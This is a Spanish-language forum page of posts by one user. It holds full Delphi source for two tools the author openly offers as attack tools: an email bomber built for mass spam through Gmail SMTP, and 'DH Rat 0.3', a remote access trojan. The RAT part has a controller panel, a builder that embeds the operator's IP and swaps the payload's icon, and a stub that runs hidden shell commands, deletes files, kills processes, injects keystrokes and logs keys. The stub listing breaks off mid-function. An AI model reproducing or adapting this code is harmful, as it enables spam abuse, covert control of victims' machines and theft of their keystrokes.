Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - BigBear

#136
Programación General / [Delphi] DH Bomber 0.5
13 Diciembre 2013, 04:19 AM
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código (delphi) [Seleccionar]

// DH Bomber 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sTabSheet6: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    MediaPlayer1: TMediaPlayer;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    N2: TMenuItem;
    S2: TMenuItem;
    sGroupBox4: TsGroupBox;
    sMemo2: TsMemo;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    PopupMenu2: TPopupMenu;
    L1: TMenuItem;
    A1: TMenuItem;
    C1: TMenuItem;
    OpenDialog1: TOpenDialog;
    sLabel4: TsLabel;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);

    procedure A1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  themenow: Boolean;

implementation

{$R *.dfm}
// Functions

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
var

  archivo: TextFile;
  lineas: String;

begin

  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    AssignFile(archivo, OpenDialog1.Filename);
    Reset(archivo);

    while not EOF(archivo) do
    begin
      ReadLn(archivo, lineas);
      sListBox1.Items.Add(lineas);
    end;

  end;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  sListBox1.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.Filename := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;

end;

procedure TForm1.L1Click(Sender: TObject);
var
  mail: string;
begin
  mail := InputBox('DH Bomber 0.5', 'Mail', '');
  if not(mail = '') then
  begin
    sListBox1.Items.Add(mail);
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;
  i2: integer;
  count: integer;
  idasunto: string;

begin

  sMemo2.Clear;

  for i2 := sListBox1.Items.count - 1 downto 0 do
  begin

    Sleep(StrToInt(sEdit3.Text) * 1000);

    count := StrToInt(sEdit5.Text);

    For i := 1 to count do
    begin

      if count > 1 then
      begin
        idasunto := '_' + IntToStr(i);
      end;

      try
        begin

          sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
            + ' ' + '[+] Message Number ' + IntToStr(i)
            + ' : Sending ' + ' ...';
          Form1.sStatusBar1.Update;

          enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
            sEdit6.Text + idasunto, sMemo1.Text);

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : OK ');

        end;
      except
        begin
          sStatusBar1.Panels[0].Text :=
            '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : FAIL ');

          Form1.sStatusBar1.Update;
        end;

      end;

    end;

  end;

  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#137
Programación General / [Delphi] DH Rat 0.3
9 Diciembre 2013, 03:30 AM
Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Los codigos.

    El Administrador.

    Código (delphi) [Seleccionar]

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    unit rat;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
      sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
      sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, madRes, WinInet;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        sStatusBar1: TsStatusBar;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sTabSheet4: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sListView1: TsListView;
        sMemo1: TsMemo;
        sGroupBox3: TsGroupBox;
        sGroupBox4: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox5: TsGroupBox;
        sButton1: TsButton;
        sGroupBox6: TsGroupBox;
        Image1: TImage;
        sLabel1: TsLabel;
        ServerSocket1: TServerSocket;
        PopupMenu1: TPopupMenu;
        O1: TMenuItem;
        C1: TMenuItem;
        L1: TMenuItem;
        D1: TMenuItem;
        R1: TMenuItem;
        S1: TMenuItem;
        J1: TMenuItem;
        M1: TMenuItem;
        T1: TMenuItem;
        ifPoslistarprocesoscode0then1: TMenuItem;
        K1: TMenuItem;
        C2: TMenuItem;
        C3: TMenuItem;
        H1: TMenuItem;
        S2: TMenuItem;
        H2: TMenuItem;
        S3: TMenuItem;
        K2: TMenuItem;
        PopupMenu2: TPopupMenu;
        S4: TMenuItem;
        S5: TMenuItem;
        Image2: TImage;
        sGroupBox7: TsGroupBox;
        sGroupBox8: TsGroupBox;
        Image3: TImage;
        sButton2: TsButton;
        OpenDialog1: TOpenDialog;
        sEdit2: TsEdit;
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);

        procedure O1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure ServerSocket1ClientConnect(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure L1Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure J1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure T1Click(Sender: TObject);
        procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
        procedure K1Click(Sender: TObject);
        procedure C2Click(Sender: TObject);
        procedure C3Click(Sender: TObject);
        procedure H1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure H2Click(Sender: TObject);
        procedure S3Click(Sender: TObject);
        procedure K2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure S4Click(Sender: TObject);

        procedure S5Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sEdit1DblClick(Sender: TObject);

        procedure sButton1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;
      argumento: string;

    implementation

    {$R *.dfm}
    // Functions

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen(
            'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
              , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'matrix';
      sSkinManager1.Active := True;

      try
        begin

          sListView1.Items.Clear;

          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;

        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
    end;

    procedure TForm1.C2Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Command', 'net user');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ejecutar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.C3Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Number', '123');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![crazymouse] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![borraresto] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.H1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultartaskbar]');
    end;

    procedure TForm1.H2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultariconos]');
    end;

    procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listarprocesos]');
    end;

    procedure TForm1.J1Click(Sender: TObject);
    begin

      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![escribirword] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.K1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'PID', '');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![matarproceso] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.K2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![keyloggerlogs]');
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listardirectorio] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.M1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![mensaje] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.O1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
    end;

    procedure TForm1.R1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![leerarchivo] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![sendkeys] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvertaskbar]');
    end;

    procedure TForm1.S3Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvericonos]');
    end;

    procedure TForm1.T1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![hablar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.S4Click(Sender: TObject);
    begin

      try
        begin
          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sListView1.Items.Clear;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;
        end;
      except

        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;

    end;

    procedure TForm1.S5Click(Sender: TObject);
    begin
      try
        begin

          sListView1.Items.Clear;
          ServerSocket1.Close;
          sStatusBar1.Panels[0].text := '[+] OffLine';
          Form1.sStatusBar1.Update;
        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);

    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      lineafinal: string;
      stubgenerado: string;
      change: DWORD;
      valor: string;

    begin

      stubgenerado := 'server_ready.exe';
      lineafinal := '[ip]' + sEdit1.text + '[ip]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
            + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit2.text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit2.text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';

      if OpenDialog1.Execute then
      begin
        Image3.Picture.LoadFromFile(OpenDialog1.filename);
        sEdit2.text := OpenDialog1.filename;
      end;

    end;

    procedure TForm1.sEdit1DblClick(Sender: TObject);
    var
      code, ip: string;
    begin

      code := toma('http://whatismyipaddress.com/');

      ip := regex(code, 'alt="Click for more about ', '"></a>');

      sEdit1.text := ip;

    end;

    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin

      with sListView1.Items.Add do
      begin
        Caption := Socket.RemoteHost;
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');

      end;

    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
      code: string;
      host: string;
      ip: string;
      pais: string;
      username: string;
      os: string;

    begin

      code := Socket.ReceiveText;

      if (Pos('[datos_nuevos][ip]', code) > 0) then
      begin

        ip := regex(code, '[ip]', '[ip]');
        pais := regex(code, '[pais]', '[pais]');
        username := regex(code, '[username]', '[username]');
        os := regex(code, '[os]', '[os]');

        sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;

        sMemo1.Lines.Add('[+] Update Target : OK');

      end

      else if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        if (FileExists('logs_keylogger.html')) then
        begin
          DeleteFile('logs_keylogger.html');
        end;

        savefile('logs_keylogger.html', code);

        sMemo1.Lines.Add('[+] Keylogger : OK');

        ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
              + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        sMemo1.Lines.Add(code);
      end;

    end;

    end.

    // The End ?


    El stub.

    Código (delphi) [Seleccionar]

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    // Stub

    unit stub;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
      IdIPMCastServer, ScktComp, sButton, ExtCtrls;

    type
      TForm1 = class(TForm)
        IdHTTP1: TIdHTTP;
        ClientSocket1: TClientSocket;
        Timer1: TTimer;
        Timer2: TTimer;
        function datanow(): string;
        procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
        procedure sButton1Click(Sender: TObject);
        procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);

      private
        Nombre2: string;
        { Private declarations }

      public
        { Public declarations }

      end;

    var
      Form1: TForm1;
      acatoy: string;

    implementation

    {$R *.dfm}
    {$POINTERMATH ON}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function listardirectorio(dir: string): string;
    var

      busqueda: TSearchRec;
      code: string;

    begin

      code := '';

      FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

      code := code + '[+] : ' + busqueda.Name + sLineBreak;

      while FindNext(busqueda) = 0 do
      begin
        code := code + '[+] : ' + busqueda.Name + sLineBreak;
      end;

      Result := code;
      FindClose(busqueda);

    end;

    function borraresto(archivo: string): string;
    var
      code: string;
    begin

      code := '';

      if DirectoryExists(archivo) then
      begin
        if (RemoveDir(archivo)) then
        begin
          code := '[+] Directory removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;
      if FileExists(archivo) then
      begin
        if (DeleteFile(archivo)) then
        begin
          code := '[+] File removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;

      Result := code;

    end;

    function LeerArchivo(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;

    end;

    function lectora(opcion: string): string;
    var
      code: string;
    begin

      code := '';

      if (opcion = 'open') then
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, 0);
        code := '[+] Open CD : OK';
      end
      else
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, 0);
        code := '[+] Close CD : OK';
      end;

      Result := code;

    end;

    function cambiar_barra(opcion: string): string;
    var
      code: string;
    begin
      code := '';

      if (opcion = 'hide') then
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
        code := '[+] Hidden Taskbar : OK';
      end
      else
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
        code := '[+] Show Taskbar : OK';
      end;

      Result := code;

    end;

    function cambiar_iconos(opcion: string): string;
    var
      code: string;
      acatoy: THandle;
    begin
      code := '';
      acatoy := FindWindow('ProgMan', nil);
      acatoy := GetWindow(acatoy, GW_CHILD);
      if (opcion = 'hide') then
      begin
        ShowWindow(acatoy, SW_HIDE);
        code := '[+] Hidden Icons : OK';
      end
      else
      begin
        ShowWindow(acatoy, SW_SHOW);
        code := '[+] Show Icons : OK';
      end;
      Result := code;
    end;

    function mensaje(texto: string): string;
    var
      code: string;
    begin
      code := '';
      ShowMessage(texto);
      code := '[+] Message Sent';
      Result := code;
    end;

    function hablar(text: string): string;
    var
      Voice: Variant;
      code: string;
    begin
      code := '';
      Voice := CreateOLEObject('SAPI.SpVoice');
      Voice.speak(text);
      code := '[+] Voice Speak : OK';
      Result := code;
    end;

    function SendKeys(texto: string): string;
    // Thanks to Remy Lebeau for the help
    var
      eventos: PInput;
      controlb, controla: integer;
      code: string;
    begin

      code := '';
      code := '[+] SendKeys : OK';

      GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

      controla := 0;

      for controlb := 1 to Length(texto) do
      begin

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

      end;

      SendInput(controla, eventos[0], SizeOf(TInput));

      Result := code;

    end;

    function escribir_word(texto: string): string;
    var
      code: string;
    begin
      code := '';
      code := '[+] Word Joke : OK';
      ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
      Sleep(5000);
      SendKeys(texto);
      Result := code;

    end;

    function listarprocesos(): string;
    var
      conector: THandle;
      timbre: LongBool;
      indicio: TProcessEntry32;
      code: string;

    begin

      code := '';

      conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      indicio.dwSize := SizeOf(indicio);

      timbre := Process32First(conector, indicio);

      while timbre do

      begin

        code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
          (indicio.th32ProcessID) + sLineBreak;

        timbre := Process32Next(conector, indicio);

      end;

      Result := code;

    end;

    function matarproceso(pid: string): string;
    var
      vano: THandle;
      code: string;

    begin

      code := '';
      vano := OpenProcess(PROCESS_TERMINATE, FALSE, StrToInt(pid));

      if TerminateProcess(vano, 0) then
      begin
        code := '[+] Kill Process : OK';
      end
      else
      begin
        code := '[+] Kill Process : ERROR';
      end;

      Result := code;

    end;

    function ejecutar(cmd: string): string;
    // Credits : Function ejecutar() based in : http://www.delphidabbler.com/tips/61
    // Thanks to www.delphidabbler.com

    var
      parte1: TSecurityAttributes;
      parte2: TStartupInfo;
      parte3: TProcessInformation;
      parte4: THandle;
      parte5: THandle;
      control2: Boolean;
      contez: array [0 .. 255] of AnsiChar;
      notengoidea: Cardinal;
      fix: Boolean;
      code: string;

    begin

      code := '';

      with parte1 do
      begin
        nLength := SizeOf(parte1);
        bInheritHandle := True;
        lpSecurityDescriptor := nil;
      end;

      CreatePipe(parte4, parte5, @parte1, 0);

      with parte2 do
      begin
        FillChar(parte2, SizeOf(parte2), 0);
        cb := SizeOf(parte2);
        dwFlags := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        wShowWindow := SW_HIDE;
        hStdInput := GetStdHandle(STD_INPUT_HANDLE);
        hStdOutput := parte5;
        hStdError := parte5;
      end;

      fix := CreateProcess(nil, PChar('cmd.exe /C ' + cmd), nil, nil, True, 0, nil,
        PChar('c:/'), parte2, parte3);

      CloseHandle(parte5);

      if fix then

        repeat

        begin
          control2 := ReadFile(parte4, contez, 255, notengoidea, nil);
        end;

        if notengoidea > 0 then
        begin
          contez[notengoidea] := #0;
          code := code + contez;
        end;

        until not(control2) or (notengoidea = 0);

        Result := code;

    end;

    function crazy_mouse(number: string): string;
    var
      i: integer;
      code: string;
    begin
      code := '';
      For i := 1 to StrToInt(number) do
      begin
        Sleep(1000);
        SetCursorPos(i, i);
      end;
      code := '[+] Crazy Mouse : OK';
      Result := code;
    end;

    function TForm1.datanow(): string;
    var
      code: string;
      ip: string;
      pais: string;
      re: string;
      username: string;
      os: string;

    begin

      try
        begin
          code := IdHTTP1.Get('http://whatismyipaddress.com/');

          ip := regex(code, 'alt="Click for more about ', '"></a>');
          pais := regex(code, '<tr><th>Country:</th><td>', '</td></tr>');

          if (ip = '') then
          begin
            ip := '?';
          end;

          if (pais = '') then
          begin
            pais := '?';
          end;

          username := GetEnvironmentVariable('username');
          os := GetEnvironmentVariable('os');

          re := '[datos_nuevos][ip]' + ip + '[ip]' + '[pais]' + pais + '[pais]' +
